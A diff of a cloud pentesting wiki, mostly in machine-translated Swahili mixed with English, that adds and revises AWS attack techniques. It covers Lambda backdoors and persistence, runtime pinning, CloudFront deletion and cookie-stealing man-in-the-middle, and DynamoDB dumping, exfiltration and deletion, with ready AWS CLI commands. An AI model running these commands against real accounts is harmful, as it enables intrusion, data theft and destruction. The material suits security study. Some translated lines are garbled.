diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 3d29964f6..530932c1d 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia: ### Lambda Layer Persistence -Inawezekana **introduce/backdoor a layer to execute arbitrary code** wakati lambda inapotekelezwa kwa njia ya kimyakimya: +Ni inawezekana ku-introduce/backdoor layer ili execute arbitrary code wakati lambda inatekelezwa kwa njia ya stealthy: {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Kwa kutumia vibaya Lambda Layers pia inawezekana kutumia extensions na persist ndani ya lambda, pamoja na kuiba na kubadilisha requests. +Kwa ku-abuse Lambda Layers pia inawezekana ku-abuse extensions na persist katika lambda lakini pia steal na modify requests. {{#ref}} aws-abusing-lambda-extensions.md @@ -28,15 +28,15 @@ aws-abusing-lambda-extensions.md ### Via resource policies -Inawezekana kutoa access kwa vitendo mbalimbali vya lambda (kama invoke au update code) kwa akaunti za nje: +Inawezekana kuipa access kwa vitendo tofauti vya lambda (kama invoke au update code) kwa accounts za nje:
### Versions, Aliases & Weights -A Lambda inaweza kuwa na **different versions** (kila version ikiwa na code tofauti).\ -Kisha, unaweza kuunda **different aliases with different versions** za lambda na kuweka weights tofauti kwa kila moja.\ -Kwa njia hii mshambulizi anaweza kuunda a **backdoored version 1** na **version 2 yenye code halali tu** na **kuitumia version 1 tu kwa 1%** ya requests ili kubaki kimyakimya. +A Lambda can have **different versions** (with different code each version).\ +Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\ +This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
@@ -44,26 +44,26 @@ Kwa njia hii mshambulizi anaweza kuunda a **backdoored version 1** na **version 1. Nakili code ya asili ya Lambda 2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST -1. Piga API Gateway inayohusiana na lambda ili kuendesha code +1. Piga API gateway inayohusiana na lambda ili execute code 3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST. -1. Hii itaficha backdoored code katika toleo la awali -4. Nenda API Gateway na **create a new POST method** (au chagua method nyingine yoyote) ambayo itaendesha backdoored version ya lambda: `arn:aws:lambda:us-east-1::function::1` -1. Kumbuka :1 ya mwisho ya arn **kuonyesha version ya function** (version 1 itakuwa ile iliyopandikizwa katika senario hii). -5. Chagua POST method uliyoitengeneza na kwenye Actions chagua **`Deploy API`** -6. Sasa, unapofanya **call the function via POST your Backdoor** itaitwa +1. Hii itaficha backdoored code katika previous version +4. Nenda API Gateway na **create a new POST method** (au chagua method nyingine) ambayo ita-execute backdoored version ya lambda: `arn:aws:lambda:us-east-1::function::1` +1. Kumbuka final :1 ya arn **inaonyesha version ya function** (version 1 itakuwa backdoored katika scenario hii). +5. Chagua POST method uliyounda na kwenye Actions chagua **`Deploy API`** +6. Sasa, unapo **call the function via POST** Backdoor yako ita-invoke ### Cron/Event actuator -Uwezo wa kufanya **lambda functions run when something happen or when some time pass** hufanya lambda kuwa njia nzuri na ya kawaida ya kupata persistence na kuepuka ugunduzi.\ -Hapa kuna baadhi ya mawazo ya kufanya **kuwepo kwako katika AWS more stealth by creating lambdas**. +Kwamba unaweza kufanya **lambda functions run when something happen or when some time pass** hufanya lambda kuwa njia nzuri na ya kawaida ya kupata persistence na kuepuka detection.\ +Hapa kuna baadhi ya mawazo ya kufanya **presence yako katika AWS iwe stealth zaidi kwa ku-create lambdas**. -- Kila mara mtumiaji mpya anapotengenezwa, lambda inatengeneza user key mpya na kuipitisha kwa mshambulizi. -- Kila mara role mpya inapoundwa, lambda inampa compromised users ruhusa za assume role. -- Kila mara logs mpya za cloudtrail zinapotengenezwa, zifute/zijibadilishe +- Kila wakati user mpya anaundwa lambda inazalisha user key mpya na kuituma kwa attacker. +- Kila wakati role mpya inaundwa lambda inampa compromised users permissions za assume role. +- Kila wakati cloudtrail logs mpya zinapotengenezwa, zifute/ubadilishe ### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers -Tumia vibaya environment variable `AWS_LAMBDA_EXEC_WRAPPER` ili kuendesha attacker-controlled wrapper script kabla runtime/handler haianzi. Toa wrapper kupitia Lambda Layer katika `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, kisha invoke function. Wrapper inafanya kazi ndani ya process ya runtime ya function, inarithi function execution role, na hatimaye `exec`s the real runtime hivyo handler ya asili bado inatekelezwa kawaida. +Abuse environment variable `AWS_LAMBDA_EXEC_WRAPPER` ili execute attacker-controlled wrapper script kabla runtime/handler haijaanza. Deliver wrapper kupitia Lambda Layer kwenye `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, kisha invoke function. Wrapper inakimbia ndani ya function runtime process, iraithi function execution role, na mwisho `exec`s real runtime hivyo original handler bado inatekelezwa kawaida. {{#ref}} aws-lambda-exec-wrapper-persistence.md @@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md ### AWS - Lambda Function URL Public Exposure -Tumia vibaya Lambda asynchronous destinations pamoja na Recursion configuration kufanya function iendelee kujireinvoke bila scheduler wa nje (bila EventBridge, cron, n.k.). Kwa default, Lambda inavunja recursive loops, lakini kuweka recursion config kuwa Allow kunawezesha tena. Destinations hutoa deliver upande wa service kwa async invokes, hivyo invoke moja ya seed huunda channel ya kimyakimya, isiyo na code, ya heartbeat/backdoor. Kwa hiari punguza kwa reserved concurrency ili kupunguza noise. +Abuse Lambda asynchronous destinations pamoja na Recursion configuration kufanya function iendelee ku-re-invoke yenyewe bila scheduler ya nje (hakuna EventBridge, cron, n.k.). By default, Lambda inakata recursive loops, lakini kuweka recursion config kwa Allow kuruhusu tena. Destinations hutekelezwa upande wa service kwa async invokes, hivyo seed invoke moja huunda channel ya stealthy, code-free heartbeat/backdoor. Kwa hiari throttle kwa reserved concurrency ili kupunguza noise. {{#ref}} aws-lambda-async-self-loop-persistence.md @@ -79,13 +79,55 @@ aws-lambda-async-self-loop-persistence.md ### AWS - Lambda Alias-Scoped Resource Policy Backdoor -Tengeneza hidden Lambda version yenye attacker logic na apply resource-based policy kwa version maalum (au alias) ukitumia parameter `--qualifier` katika `lambda add-permission`. Mpe tu `lambda:InvokeFunction` kwenye `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` kwa attacker principal. Invocation za kawaida kupitia function name au primary alias hazibadiliki, wakati mshambulizi anaweza kuinvoke moja kwa moja backdoored version ARN. +Unda hidden Lambda version yenye attacker logic na scope resource-based policy kwa version maalum (au alias) kwa kutumia parameter `--qualifier` katika `lambda add-permission`. Toa tu `lambda:InvokeFunction` kwenye `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` kwa attacker principal. Invocations za kawaida kupitia function name au primary alias hazibadiliki, wakati attacker anaweza ku-invoke moja kwa moja backdoored version ARN. -Hii ni ya kimyakimya kuliko kufichua Function URL na haiubadili primary traffic alias. +Hii ni stealthier kuliko ku-expose Function URL na haisumbui primary traffic alias. {{#ref}} aws-lambda-alias-version-policy-backdoor.md {{#endref}} +### Freezing AWS Lambda Runtimes +Mshambuliaji mwenye ruhusa za lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, na lambda:GetRuntimeManagementConfig anaweza kubadilisha runtime management configuration ya function. Attack hii ni hasa yenye ufanisi wakati lengo ni kuweka Lambda function kwenye vulnerable runtime version au kuhifadhi compatibility na malicious layers ambazo zinaweza kuwa incompatible na runtimes mpya. + +Mshambuliaji anabadilisha runtime management configuration ili ku-pin runtime version: +```bash +# Invoke the function to generate runtime logs +aws lambda invoke \ +--function-name $TARGET_FN \ +--payload '{}' \ +--region us-east-1 /tmp/ping.json + +sleep 5 + +# Freeze automatic runtime updates on function update +aws lambda put-runtime-management-config \ +--function-name $TARGET_FN \ +--update-runtime-on FunctionUpdate \ +--region us-east-1 +``` +Thibitisha usanidi uliotumika: +```bash +aws lambda get-runtime-management-config \ +--function-name $TARGET_FN \ +--region us-east-1 +``` +Hiari: Fungia kwenye toleo maalum la runtime +```bash +# Extract Runtime Version ARN from INIT_START logs +RUNTIME_ARN=$(aws logs filter-log-events \ +--log-group-name /aws/lambda/$TARGET_FN \ +--filter-pattern "INIT_START" \ +--query 'events[0].message' \ +--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4) +``` +Pin kwa toleo maalum la runtime: +```bash +aws lambda put-runtime-management-config \ +--function-name $TARGET_FN \ +--update-runtime-on Manual \ +--runtime-version-arn $RUNTIME_ARN \ +--region us-east-1 +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md index 54198c3b3..9f84a52f6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md @@ -4,28 +4,37 @@ ## CloudFront -Kwa taarifa zaidi angalia: +Kwa maelezo zaidi angalia: {{#ref}} ../../aws-services/aws-cloudfront-enum.md {{#endref}} +### `cloudfront:Delete*` +Mshambuliaji aliyepatiwa cloudfront:Delete* anaweza kufuta distributions, policies na vitu vingine muhimu vya usanidi wa CDN — kwa mfano distributions, cache/origin policies, key groups, origin access identities, functions/configs, na rasilimali zinazohusiana. Hii inaweza kusababisha kusitishwa kwa huduma, hasara ya maudhui, na kuondolewa kwa usanidi au artefakti za forensiki. + +Kufuta distribution, mshambuliaji anaweza kutumia: +```bash +aws cloudfront delete-distribution \ +--id \ +--if-match +``` ### Man-in-the-Middle -Kifungu hiki cha [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) kinapendekeza matukio kadhaa tofauti ambapo **Lambda** inaweza kuongezwa (au kubadilishwa ikiwa tayari inatumika) katika **communication through CloudFront** kwa madhumuni ya **stealing** taarifa za mtumiaji (kama **cookie** ya kikao) na **modifying** **response** (kuingiza script ya JS yenye madhara). +Hili [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) linapendekeza matukio kadhaa tofauti ambapo **Lambda** inaweza kuongezwa (au kubadilishwa ikiwa tayari inatumiwa) katika **mawasiliano kupitia CloudFront** kwa kusudi la **kuiba** taarifa za mtumiaji (kama session **cookie**) na **kubadilisha** **response** (kuingiza script ya JS yenye madhara). -#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket +#### Mfano 1: MitM ambapo CloudFront imewekwa kufikia baadhi ya HTML ya bucket - **Unda** **function** yenye madhara. -- **Ihusishe** na CloudFront distribution. +- **Unganisha** na distribution ya CloudFront. - Weka **event type to "Viewer Response"**. -Kwa kupata **response** unaweza kuiba **cookie** ya watumiaji na kuingiza JS yenye madhara. +Kwa kupata response, unaweza kuiba cookie za watumiaji na kuingiza script ya JS yenye madhara. -#### scenario 2: MitM where CloudFront is already using a lambda function +#### Mfano 2: MitM ambapo CloudFront tayari inatumia lambda function -- **Badilisha code** ya Lambda function ili kuiba taarifa nyeti +- **Badilisha code** ya lambda function ili kuiba taarifa nyeti -Unaweza kuangalia {#ref}https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main{#endref} +Unaweza kuangalia the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md index 16c1c7233..9ea5b1aa2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md @@ -4,7 +4,7 @@ ## DynamoDB -Kwa maelezo zaidi angalia: +Kwa maelezo zaidi, angalia: {{#ref}} ../../aws-services/aws-dynamodb-enum.md @@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia: ### `dynamodb:BatchGetItem` -An attacker akiwa na ruhusa hizi ataweza **get items kutoka kwa tables kwa primary key** (hutaweza kuuliza tu data zote za jedwali). Hii inamaanisha unahitaji kujua primary keys (unaweza kupata hizi kupitia metadata ya jedwali (`describe-table`). +An attacker mwenye idhini hizi ataweza **kupata vitu kwenye jedwali kwa kutumia funguo kuu** (huwezi kuomba data zote za jedwali tu). Hii inamaanisha kwamba lazima ufahamu vifunguo kuu (unaweza kupata hizi kwa kuangalia metadata ya jedwali (`describe-table`). {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**Athari Inayowezekana:** privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye jedwali +**Athari Inayoweza Kutokea:** privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye jedwali ### `dynamodb:GetItem` -**Sawa na ruhusa zilizotangulia** hii inamruhusu mshambuliaji kusoma thamani kutoka kwenye jedwali 1 tu kwa kutumia funguo kuu ya rekodi anayotaka kupata: +**Kama ilivyo kwa ruhusa zilizotangulia** hii inamruhusu potential attacker kusoma thamani kutoka kwenye jedwali 1 tu kwa kutumia primary key ya rekodi ili kuipata: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json } } ``` -Kwa ruhusa hii pia inawezekana kutumia njia ya **`transact-get-items`** kama ifuatavyo: +Kwa ruhusa hii pia inawezekana kutumia njia ya **`transact-get-items`** kama: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**Athari Inayowezekana:** Indirect privesc kwa kupata taarifa nyeti katika jedwali +**Athari Inayoweza Kutokea:** Indirect privesc kwa kupata taarifa nyeti katika jedwali ### `dynamodb:Query` -**Sawa na ruhusa zilizotangulia** hii inaruhusu mshambuliaji wa kimaslahi kusoma thamani kutoka kwenye jedwali 1 tu ikitolewa ufunguo kuu (primary key) wa rekodi inayotakiwa. Inaruhusu kutumia [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), lakini mlinganisho pekee unaoruhusiwa kwa ufunguo kuu (ambao lazima utajwe) ni "EQ", hivyo huwezi kutumia mlinganisho kupata DB nzima kwa ombi. +**Kama ruhusa zilizopita** hii inamruhusu mshambuliaji kusoma thamani kutoka kwa jedwali 1 tu kwa kutegemea funguo kuu ya rekodi anayotaka kupata. Inaruhusu kutumia [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), lakini ulinganisho pekee unaoruhusiwa na funguo kuu (ambayo lazima ionekane) ni "EQ", kwa hivyo huwezi kutumia ulinganisho kupata hifadhidata yote kwa ombi moja. {{#tabs }} {{#tab name="json file" }} @@ -107,19 +107,19 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Athari Inayoweza Kutokea:** privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti katika jedwali +**Athari zinazoweza kutokea:** Isiyo ya moja kwa moja privesc kwa kupata taarifa nyeti katika jedwali ### `dynamodb:Scan` -Unaweza kutumia ruhusa hii ili **dump jedwali zima kwa urahisi**. +Unaweza kutumia ruhusa hii ku**dump jedwali lote kwa urahisi**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**Athari Inayoweza Kutokea:** Indirect privesc kwa kupata taarifa nyeti kwenye jedwali +**Athari Inayowezekana:** Privesc isiyo ya moja kwa moja kwa kutambua taarifa nyeti katika jedwali ### `dynamodb:PartiQLSelect` -Unaweza kutumia ruhusa hii ili **dump jedwali zima kwa urahisi**. +Unaweza kutumia ruhusa hii ili **dump jedwali lote kwa urahisi**. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" @@ -129,13 +129,13 @@ Ruhusa hii pia inaruhusu kufanya `batch-execute-statement` kama: aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -lakini unahitaji kutaja funguo kuu na thamani, hivyo haifai sana. +lakini unahitaji kutaja primary key na thamani, kwa hivyo haifai sana. -**Athari Inayowezekana:** privesc isiyo ya moja kwa moja kwa kutambua taarifa nyeti katika jedwali +**Athari Inayowezekana:** Privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti katika jedwali ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Ruhusa hii itamruhusu mshambuliaji **kuhamisha jedwali lote kwa S3 bucket** anayeichagua: +Ruhusa hii itamruhusu mshambuliaji **kuhamisha jedwali zima kwenye S3 bucket** anayechagua: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Kumbuka kwamba ili hili lifanye kazi, jedwali linapaswa kuwa na point-in-time-recovery imewezeshwa; unaweza kuangalia ikiwa jedwali lina hiyo kwa: +Kumbuka kwamba ili hili lifanye kazi, jedwali linahitaji kuwa na point-in-time-recovery imewezeshwa; unaweza kuangalia ikiwa jedwali lina kwa: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -Iwapo haijawezeshwa, utahitaji **kuiwezesha** na kwa hilo unahitaji ruhusa ya **`dynamodb:ExportTableToPointInTime`**: +Ikiwa haijawezeshwa, utahitaji **kuiwezesha** na kwa hilo unahitaji ruhusa ya **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**Athari Inayoweza Kutokea:** Indirect privesc by locating sensitive information in the table +**Potential Impact:** Indirect privesc kwa kupata taarifa nyeti kwenye jedwali ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -Kwa ruhusa hizi, mshambuliaji angeweza **kuunda jedwali jipya kutoka backup** (au hata kuunda backup kisha kurejesha katika jedwali tofauti). Kisha, akiwa na ruhusa zinazohitajika, angeweza kuangalia **taarifa** kutoka kwa backups ambazo **haziwezi tena kuwa kwenye jedwali la uzalishaji**. +Kwa ruhusa hizi, mshambuliaji angeweza **kuunda jedwali jipya kutoka kwa chelezo** (au hata kuunda chelezo kisha kuirejesha kwenye jedwali tofauti). Kisha, akiwa na ruhusa zinazohitajika, angeweza kuangalia **taarifa** kutoka kwa chelezo ambazo c**haziwezi kuwa tena katika jedwali la uzalishaji**. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**Potential Impact:** Indirect privesc kwa kupata taarifa nyeti kwenye nakala rudufu ya jedwali +**Athari Inayowezeka:** privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti katika backup ya jedwali ### `dynamodb:PutItem` -Ruhusa hii inawawezesha watumiaji kuongeza **rekodi mpya kwenye jedwali au kubadilisha rekodi iliyopo** kwa rekodi mpya. Ikiwa rekodi yenye primary key ile ile tayari ipo, **rekodi nzima itabadilishwa** kwa rekodi mpya. Ikiwa primary key haipo, rekodi mpya yenye primary key iliyotajwa itaundwa. +Ruhusa hii inawawezesha watumiaji kuongeza **rekodi mpya kwenye jedwali au kubadilisha rekodi iliyopo** na rekodi mpya. Ikiwa rekodi yenye funguo kuu ile ile tayari ipo, **rekodi nzima itabadilishwa** na rekodi mpya. Ikiwa funguo kuu haipo, rekodi mpya yenye funguo kuu iliyobainishwa **itaumbwa**. {{#tabs }} {{#tab name="XSS Example" }} @@ -202,11 +202,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**Athari Inayowezekana:** Utekelezaji wa vulnerabilities/bypasses zaidi kwa kuwa na uwezo wa kuongeza/kuhariri data katika jedwali la DynamoDB +**Athari Inayoweza Kutokea:** Kutumiwa kwa udhaifu zaidi/bypasses kwa kuwa na uwezo wa kuongeza/kuhariri data katika jedwali la DynamoDB ### `dynamodb:UpdateItem` -Haki hii inawawezesha watumiaji **kuhariri sifa zilizopo za item au kuongeza sifa mpya kwa item**. **Haibadilishi** item nzima; inasasisha tu sifa zilizobainishwa. Ikiwa primary key haipo katika jedwali, operesheni ita **unda item mpya** yenye primary key iliyobainishwa na kuweka sifa zilizobainishwa kwenye update expression. +Ruhusa hii inawawezesha watumiaji **kuhariri sifa zilizopo za kipengee au kuongeza sifa mpya kwa kipengee**. Haibadilishi kipengee lote; inasasisha tu sifa zilizobainishwa. Ikiwa primary key haipo katika jedwali, operesheni itaunda **kipengee kipya** chenye primary key iliyobainishwa na kuweka sifa zilizobainishwa katika update expression. {{#tabs }} {{#tab name="XSS Example" }} @@ -242,43 +242,43 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Athari Inayowezekana:** Unyonyaji wa vulnerabilities/bypasses zaidi kwa uwezo wa kuongeza au kubadilisha data katika jedwali la DynamoDB +**Athari Inayoweza Kutokea:** Kutumiwa kwa vulnerabilities/bypasses zaidi kwa kuwa na uwezo wa kuongeza/kuhariri data kwenye jedwali la DynamoDB ### `dynamodb:DeleteTable` -An attacker mwenye ruhusa hii anaweza **kufuta jedwali la DynamoDB, kusababisha kupoteza data**. +Mshambuliaji mwenye ruhusa hii anaweza **kufuta jedwali la DynamoDB, na kusababisha kupoteza data**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` -**Potential impact**: Kupoteza data na kukatizwa kwa huduma zinazotegemea jedwali lililofutwa. +**Madhara yanayoweza kutokea**: Kupoteza data na kuvurugika kwa huduma zinazotegemea jedwali lililofutwa. ### `dynamodb:DeleteBackup` -Mshambuliaji mwenye ruhusa hii anaweza **kufuta DynamoDB backup, jambo linaloweza kusababisha kupoteza data katika hali ya kurejesha baada ya maafa**. +Mshambuliaji mwenye ruhusa hii anaweza **kufuta backup ya DynamoDB, ambayo inaweza kusababisha kupoteza data katika tukio la urejeshaji baada ya janga**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**Potential impact**: Upotevu wa data na kutoweza kurejesha kutoka kwa chelezo wakati wa tukio la urejeshaji baada ya msiba. +**Madhara yanayoweza kutokea**: Kupoteza data na kushindwa kurejesha kutoka kwenye nakala rudufu wakati wa tukio la urejeshaji wa maafa. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] > TODO: Jaribu kama hii kwa kweli inafanya kazi -An attacker wenye ruhusa hizi anaweza **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. Hii inamruhusu attacker kufuatilia na exfiltrate mabadiliko ya data, ambayo inaweza kusababisha data leakage. +Mwanashambulizi mwenye ruhusa hizi anaweza **kuwezesha stream kwenye jedwali la DynamoDB, kusasisha jedwali ili kuanza kuonyesha mabadiliko, na kisha kupata access kwenye stream ili kufuatilia mabadiliko ya jedwali kwa wakati halisi**. Hii inamruhusu mwanashambulizi kufuatilia na exfiltrate mabadiliko ya data, ambayo inaweza kusababisha data leak. -1. Washa stream kwenye jedwali la DynamoDB: +1. Wezesha stream kwenye jedwali la DynamoDB: ```bash aws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. Eleza stream ili kupata ARN na maelezo mengine: +2. Elezea stream ili kupata ARN na maelezo mengine: ```bash aws dynamodb describe-stream \ --table-name TargetTable \ @@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \ --shard-iterator-type LATEST \ --region ``` -4. Tumia shard iterator kufikia na exfiltrate data kutoka kwa stream: +4. Tumia shard iterator kufikia na exfiltrate taarifa kutoka kwenye stream: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Potential impact**: Ufuatiliaji wa wakati-halisi na data leakage ya mabadiliko ya jedwali la DynamoDB. +**Athari inayowezekana**: Ufuatiliaji wa wakati halisi na kutokwa kwa data ya mabadiliko ya meza ya DynamoDB. -### Soma vipengee kupitia `dynamodb:UpdateItem` na `ReturnValues=ALL_OLD` +### Soma vitu kupitia `dynamodb:UpdateItem` na `ReturnValues=ALL_OLD` -Mshambuliaji ambaye ana tu ruhusa ya `dynamodb:UpdateItem` kwenye jedwali anaweza kusoma vipengee bila ruhusa za kawaida za kusoma (`GetItem`/`Query`/`Scan`) kwa kufanya update isiyo hatari na kuomba `--return-values ALL_OLD`. DynamoDB itarudisha picha kamili ya kipengee kabla ya update katika sehemu ya `Attributes` ya response (hii haitumii RCUs). +Mshambuliaji akiwa na ruhusa pekee ya `dynamodb:UpdateItem` kwenye jedwali anaweza kusoma vitu bila ya ruhusa za kawaida za kusoma (`GetItem`/`Query`/`Scan`) kwa kufanya sasisho lisilo hatari na kuomba `--return-values ALL_OLD`. DynamoDB itarudisha picha kamili ya kabla ya sasisho ya kitu katika uwanja `Attributes` wa jibu (hii haitumii RCUs). -- Ruhusa za chini: `dynamodb:UpdateItem` kwenye jedwali/funguo lengwa. -- Mahitaji ya awali: Lazima ujue funguo kuu ya kipengee. +- Ruhusa za chini kabisa: `dynamodb:UpdateItem` kwenye jedwali/ufunguo lengwa. +- Masharti ya awali: Lazima ujue ufunguo kuu wa kitu. -Mfano (inaongeza sifa isiyo hatari na exfiltrates kipengee kilichotangulia kwenye response): +Mfano (inaongeza attribute isiyo hatari na inatoa kitu kilichokuwapo kabla kwenye jibu): ```bash aws dynamodb update-item \ --table-name \ @@ -318,14 +318,14 @@ aws dynamodb update-item \ --return-values ALL_OLD \ --region ``` -The CLI response will include an `Attributes` block containing the complete previous item (all attributes), effectively providing a read primitive from write-only access. +Majibu ya CLI yatajumuisha blokhi ya `Attributes` inayoweka kipengee kilichopita kikamilifu (sifa zote), kwa ufanisi ikitoa primitive ya kusoma kutoka kwa upatikanaji wa kuandika-tu. -**Athari Inayowezekana:** Soma vipengee vyovyote kutoka kwenye meza ukiwa na ruhusa za kuandika pekee, ikiruhusu uondoaji wa data nyeti wakati funguo kuu zinapojulikana. +**Athari Inayowezekana:** Kusoma vitu vilivyochaguliwa kutoka kwenye jedwali kwa ruhusa za kuandika pekee, ikiruhusu kuondoa data nyeti wakati funguo kuu zinapojulikana. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` -Uondoaji wa siri kwa kuongeza replica mpya ya Region kwenye DynamoDB Global Table (version 2019.11.21). Ikiwa principal anaweza kuongeza regional replica, meza yote itafanywa replicate hadi Region iliyochaguliwa na mshambulizi, ambapo mshambulizi ataweza kusoma vipengee vyote. +Uondoaji wa siri kwa kuongeza replica Region mpya kwenye DynamoDB Global Table (version 2019.11.21). Ikiwa mhusika mwenye ruhusa anaweza kuongeza replica ya kikanda, jedwali zima linarudishwa kwa Region iliyochaguliwa na mshambuliaji, kutoka ambapo mshambuliaji anaweza kusoma vitu vyote. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} @@ -354,13 +354,13 @@ aws dynamodb update-table \ {{#endtab }} {{#endtabs }} -Ruhusa: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. Ikiwa CMK inatumiwa kwenye replica, ruhusa za KMS kwa key hiyo zinaweza kuhitajika. +Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required. -Athari Inayowezekana: Replication ya jedwali zima kwenda Region inayodhibitiwa na mshambuliaji, ikisababisha data exfiltration kwa njia ya siri. +Potential Impact: Kuiga kwa meza nzima hadi Region inayodhibitiwa na mshambuliaji, na kusababisha uondoaji wa data kwa siri. -### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) +### `dynamodb:TransactWriteItems` (kusoma kupitia condition iliyoshindwa + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) -Mshambuliaji mwenye transactional write privileges anaweza exfiltrate sifa zote za item iliyopo kwa kufanya `Update` ndani ya `TransactWriteItems` ambayo kwa makusudi inashindwa kwenye `ConditionExpression` wakati ikiteua `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Katika kushindwa, DynamoDB hujumuisha sifa za awali katika sababu za kughairi muamala, kwa hivyo kubadilisha write-only access kuwa read access ya keys zilizolengwa. +Mshambuliaji mwenye ruhusa za kuandika transactional anaweza kuondoa sifa zote za kipengee kilichopo kwa kufanya `Update` ndani ya `TransactWriteItems` kinachokosa kusonga mbele kwa makusudi kwenye `ConditionExpression` huku kikiwa kimeset `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Wakati kuna kushindwa, DynamoDB hujumuisha sifa za awali katika transaction cancellation reasons, na kwa ufanisi hubadilisha upatikanaji wa kuandika tu kuwa upatikanaji wa kusoma kwa funguo zilizolengwa. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} @@ -409,21 +409,21 @@ print(e.response['CancellationReasons'][0]['Item']) {{#endtab }} {{#endtabs }} -Ruhusa: 